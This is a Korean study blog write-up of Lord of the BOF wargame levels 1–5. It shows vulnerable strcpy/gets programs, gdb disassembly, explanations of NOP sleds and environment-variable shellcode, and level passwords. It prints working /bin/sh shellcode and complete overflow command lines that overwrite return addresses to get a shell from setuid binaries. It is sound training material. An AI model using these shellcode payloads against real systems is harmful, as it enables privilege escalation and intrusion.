The Load of Bof (LOB)

level 0 : 접속

VMware를 이용하여 접속한 후 id: gate /password: gate로 로그인한다.

/sbin/ifconfig를 입력해 ip확인한다. -inet addr 뒤에 나오는 걸 확인해야 한다.

ctrl+alt를 눌러 vmware에서 마우스를 벗어나게 할 수 있다. 

putty를 이용해 접속한다. - connection type은 Telnet으로 한다.

level 1 : simple bof

간단하지 않아...

 

다시 id: gate /password: gate로 로그인한다.

0xff를 다르게 바꾸는 버그를 해결하기 위해 bash2를 반드시 입력하고 시작하자

그리고 ls -l을 입력하면 어떤 파일과 폴더가 있는지 확인할 수 있다.

아주 놀랍게도 다른 유저의 setuid가 걸린 파일은 디버깅이 안되서 tmp에 gremlin을 복사한 후 진행해야 한다.

(처음 보이는 파일은 권한문제로 gdb로 실행이 안되기 때문에 파일을 하나 만든다. 
주의사항: 원래 있던 파일명과 글자수를 같게 하는것이 좋음)

처음에 You can't do that without a proess to debug라는게 계속 떠서 돌아버리는줄 알았다...

좋다. 이제 gremlin.c라는 친구가 뭐하는 놈인지 알아보기 위해 cat gremlin.c를 입력한다.

현재까지 진행 상황

/* 
        The Lord of the BOF : The Fellowship of the BOF 
        - gremlin 
        - simple BOF 
*/ 

int main(int argc, char *argv[]) 
{ 
    char buffer[256]; 
    if(argc < 2){ 
        printf("argv error\n"); 
        exit(0); 
    } 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer); 
}

 

256바이트의 buffer 배열 공간을 선언하고 ,argv[1]값을 strcpy함수를 이용하여 buffer에 복사하는 코드이다.

입력한걸 그대로 출력함

strcpy함수는 복사할 길이를 제한하지 않고 복사하므로 BOF 취약점이 존재한다. 여길 공격할 것이다.

 

이제 gdb를 이용하여 gremlin을 뜯어볼 것이다.

gdb -q /tmp/gremlim을 입력하면 gdb에 접속한다.

set disassembly-flavor intel 명령어를 이용해 어셈블리 문법을 intel아키텍쳐로 바꿔준다. 
disas main를 입력하면 main의 어셈블리 코드를 볼 수 있는데 다음과 같다.

 

Dump of assembler code for function main: 
0x8048430 :                   push   %ebp // 함수 프롤로그

0x8048431 <main+1>:     mov    %ebp,%esp // 스택 프레임 생성 과정

0x8048433 <main+3>:     sub    %esp,0x100 // 0x100(10진법으로는 256)만큼 스택 공간 확보

0x8048439 <main+9>:     cmp    DWORD PTR [%ebp+8],1

0x804843d <main+13>:    jg     0x8048456 <main+38>

0x804843f <main+15>:    push   0x80484e0

0x8048444 <main+20>:    call   0x8048350 <printf>  

0x8048449 <main+25>:    add    %esp,4 

0x804844c <main+28>:    push   0

0x804844e <main+30>:    call   0x8048360 <exit>

0x8048453 <main+35>:    add    %esp,4

0x8048456 <main+38>:    mov    %eax,DWORD PTR [%ebp+12] //argv[1]주소를 eax에 복사

 

0x8048459 <main+41>:    add    %eax,4

0x804845c <main+44>:    mov    %edx,DWORD PTR [%eax] //argv[1]의 값을 edx에 복사

0x804845e <main+46>:    push   %edx

0x804845f <main+47>:    lea    %eax,[%ebp-256]

0x8048465 <main+53>:    push   %eax // eax값 스택에 push

0x8048466 <main+54>:    call   0x8048370 <strcpy> //strcpy(eax, edx) 실행

0x804846b <main+59>:    add    %esp,8

0x804846e <main+62>:    lea    %eax,[%ebp-256] //buffer[256]주소 eax에 복사

0x8048474 <main+68>:    push   %eax // eax값 스택에 push

0x8048475 <main+69>:    push   0x80484ec 

0x804847a <main+74>:    call   0x8048350 <printf>// printf("%s\n") 실행

0x804847f <main+79>:    add    %esp,8 // 스택메모리 정리(push한 eax, 0x80484ec)

0x8048482 <main+82>:    leave // 함수 에필로그 과정

0x8048483 <main+83>:    ret //스택프레임 제거

0x8048484 <main+84>:    nop

0x8048485 <main+85>:    nop

0x8048486 <main+86>:    nop

0x8048487 <main+87>:    nop

0x8048488 <main+88>:    nop

0x8048489 <main+89>:    nop

0x804848a <main+90>:    nop

0x804848b <main+91>:    nop

0x804848c <main+92>:    nop

0x804848d <main+93>:    nop

0x804848e <main+94>:    nop

0x804848f <main+95>:    nop

End of assembler dump. 

 

<문제를 해결하기 위해 알아야 할 개념들>

 

-셸

커맨드 라인의 명령어, 혹은 스크립트를 받아 서버에서 그에 맞는 기능을 실행시켜주는 프로그램

 

-프로그램의 흐름을 조작해 셸을 실행하는 이유

권한 상승이나 본래의 프로그램이 의도치 않은 행위를 하기 위해서

취약점이 존재하는 바이너리를 익스플로잇하여 셸 프로그램을 실행하면 해당 바이너리 권한의 셸을 획득하여 서버에 임의의 명령어를 실행할 수 있게 됨

 

-공격자가 /bin/sh 혹은 셸 바이너리를 실행하는 기계어 코드를 실행한다면, 셸에서 제공하는 여러 명령어들을 실행할 수 있게 됨

 

25바이트 코드 일반적인 쉘코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

-NOP(No OPeration)

xchg eax, eax와 같이 프로그램의 실행에 영향을 주지 않는 명령어

프로그램이 실행 중에 NOP 명령어를 만나면 다음 명령어로 넘어가는 것과 같은 효과를 줌

주로 명령어의 주소 alignment를 맞출 때 사용됨

 

x86 아키텍처의 NOP 명령어 바이트코드는 0x90

 

NOP Sled, 혹은 NOP Slide

주로 셸코드의 주소를 정확히 알아내기 힘들 경우 큰 메모리를 확보하여 셸코드 주소의 오차 범위를 크게 만들 때 사용함

 

우리는 nop+셸코드(256+4바이트)+buffer의주소(4바이트)를 인자로 전달하여 buffer에 저장한 후에, RET의 주소를 buffer의 주소로 바꿔 줄 것이다.

 

0xbffff938 인데 넉넉하게 bffff950을 ret으로 설정

 

 buffer [256] +SFP[4] + RET[4]
 

\x90(215byte)+쉘코드(25byte)+\x90(20byte)+ret[\x50\xf9\xff\xbf]

 

q를 치면 gdb에서 벗어날수 있다. 아래와같이 입력한다.


./gremlin `python -c "print '\x90'*215 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' + '\x90'*20 + '\x50\xf9\xff\xbf'"`

 

bash라고 뜨면 id 입력

my-pass를 입력하면 다음 단계로 가기 위한 password를 볼 수 있다.

Password : hello bof world

level 2: small buffer

level 1과 접근 방식은 동일하다. cat cobolt.c를 입력해보자

/* 
        The Lord of the BOF : The Fellowship of the BOF 
        - cobolt 
        - small buffer 
*/ 

int main(int argc, char *argv[]) 

    char buffer[16]; 
    if(argc < 2){ 
        printf("argv error\n"); 
        exit(0); 
    } 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer); 

 

buffer크기가 16인것 빼고는 level 1과 동일하다.

 

Dump of assembler code for function main: 
0x8048430 :       push   %ebp

0x8048431 <main+1>:     mov    %ebp,%esp

0x8048433 <main+3>:     sub    %esp,16

0x8048436 <main+6>:     cmp    DWORD PTR [%ebp+8],1

0x804843a <main+10>:    jg     0x8048453 <main+35>

0x804843c <main+12>:    push   0x80484d0

0x8048441 <main+17>:    call   0x8048350  <printf>

0x8048446 <main+22>:    add    %esp,4

0x8048449 <main+25>:    push   0

0x804844b <main+27>:    call   0x8048360  <exit>

0x8048450 <main+32>:    add    %esp,4

0x8048453 <main+35>:    mov    %eax,DWORD PTR [%ebp+12]

0x8048456 <main+38>:    add    %eax,4

0x8048459 <main+41>:    mov    %edx,DWORD PTR [%eax]

0x804845b <main+43>:    push   %edx

0x804845c <main+44>:    lea    %eax,[%ebp-16]

0x804845f <main+47>:    push   %eax

0x8048460 <main+48>:    call   0x8048370  <strcpy>

0x8048465 <main+53>:    add    %esp,8

0x8048468 <main+56>:    lea    %eax,[%ebp-16]

0x804846b <main+59>:    push   %eax

0x804846c <main+60>:    push   0x80484dc

0x8048471 <main+65>:    call   0x8048350  <printf>

0x8048476 <main+70>:    add    %esp,8

0x8048479 <main+73>:    leave

0x804847a <main+74>:    ret

0x804847b <main+75>:    nop

0x804847c <main+76>:    nop

0x804847d <main+77>:    nop

0x804847e <main+78>:    nop

0x804847f <main+79>:    nop

End of assembler dump.

 

<문제를 해결하기 위해 알아야 할 개념들>

 

-환경변수

프로세스가 컴퓨터에서 동작하는 방식에 영향을 미치는 동적인 값들의 모임으로 쉘에서 정의되고 실행하는 동안 프로그램에 필요한 변수

공격자는 환경변수를 하나 만들고 이 환경변수에다가 쉘코드를 넣은 다음 취약한 프로그램에 환경변수의 address를 return address에 넣어줌으로써 쉘코드를 실행하게 할 수 있음

버퍼의 크기가 쉘코드가 들어갈 만큼 넉넉하지 못할 겨우에 매우 유용하게 사용됨

 

환경변수 임시 적용(export)

$ export 환경변수명=값

 

VI 에디터 -읽어보자

https://wiki.kldp.org/KoreanDoc/html/Vim_Guide-KLDP/Vim_Guide-KLDP.html

 

vi

VI 에디터 사용법 이 문서는 프리(free)입니다. 자유 소프트웨어 재단(FSF)에 의해 제출된 GNU GPL(일반 공개 라이선스) 제2판 또는 그 이후 버전이 정하는 바에 따라 자유롭게 재배포하고 수정할 수 있습니다. 이 문서는 유용하게 쓰이기를 바라는 마음으로 배포합니다. 그러나 아무런 보증도 하지 않습니다. 심지어 상업성이나 특정 목적에 적합하다는 보증도 하지 않습니다. 자세한 사항은 GNU GPL을 참조하십시오. 1. vi란? 리눅스나 유닉스를

wiki.kldp.org

문제 풀이 순서

1. 환경변수 등록

export SHELLCODE=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

 

export를 쳐보면 SHELLCODE가 생긴걸 볼 수 있다.

 

2. 주소를 알아야 하는데 이를 구하기 위해 프로그램을 짜야한다(흠...)

mkdir temp

cd temp

vi getenv.c

#include <stdio.h>

 

int main(){

        printf("%p\n", getenv("SHELLCODE"));

        return 0;

}

gcc -o getanv getenv.c

 

./getenv를 치면 주소가 나온다. - 중요한점은 나온 주소를 바로 써줘야한다는 거다... 

0xbffffed4가 나왔다.

 

3. exploit

nop(20) + ret(4)

해결!!

 

Password : hacking exposed

level 3 : small buffer + stdin

/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/

int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

 

gets함수로 바로 buffer에 저장된다.

 

level 2와 과정은 다 동일하나 하나의 다른 개념을 사용해야 한다.

 

표준입출력

Pipe(|)는 왼쪽의 표준 출력을 오른쪽의 표준 입력으로 전달

표준입출력을 지원하는 cat을 python문과 같이 사용하기위해 ';(세미콜론)'을 사용

python문을 cat을 통해 출력되는 표준출력을 한번에넘기기 위해 '()괄호'를 사용

 

주소는 0xbffffed8이므로 

(python -c 'print "\x90"*20 + "\xd8\xfe\xff\xbf"';cat)|./goblin

해결!!

 

Password : hackers proof

level 4 : egghunter 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include  <stdio.h>
#include  <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i])); -환경변수부분을 0으로 설정해서 환경변수 사용 x

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

//리턴 주소의 첫바이트는 0xbf여야함

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

 

 

buffer[40] + int[4] + ret[4]

\x90을 나눠보았는데 별 상관 없는 것 같다...

주소가 이상할 때도 있는데 이럴땐 어떻게 해야 할 지 모르겠다... 

 

어쨌든 해결!!

 

Password : cantata

level 5 : egghunter + bufferhunter

/*
        The Lord of the BOF : The Fellowship of the BOF
        - wolfman
        - egghunter + buffer hunter
*/

#include  <stdio.h>
#include  <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

buffer의 값을 0으로 초기화 시켜서 사용할 수 없게 되었지만 입력값의 크기 제한은 없다.

따라서 쉘코드를 리턴주소 다음에 넣으면 된다.

 

r `python -c"print '\xbf'*48 + '\x90'*50 + 'A'*24"`

A부분이 쉘코드가 들어갈 부분이다.

후에 x/200x $esp를 입력하면 아래와 같다.

./wolfman `python -c "print 'A'*44 + '\x50\xfc\xff\xbf' + '\x90'*50 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"` 입력하면

해결!!

 

Password : love eyuna

 

계속 주소를 구하는데 어려움이 있었다. 뭔가 잘못 이해하고 있는 부분이 있나보다. bof 개념을 다시 한번 봐야할 것 같다.

 

<참조>

https://dreamhack.io/learn/2#16

https://www.leafcats.com/201

https://security-nanglam.tistory.com/117

https://intadd.tistory.com/106

'Hacking Study > 포너블 스터디(2020-1) 과제' 카테고리의 다른 글

포너블 5주차 과제  (0) 2020.05.24
포너블 4주차 과제  (0) 2020.05.17
2주차 보충 - Format String Bug  (0) 2020.04.12
2주차 과제  (0) 2020.04.10
포너블 스터디 1주차 과제  (0) 2020.04.03

+ Recent posts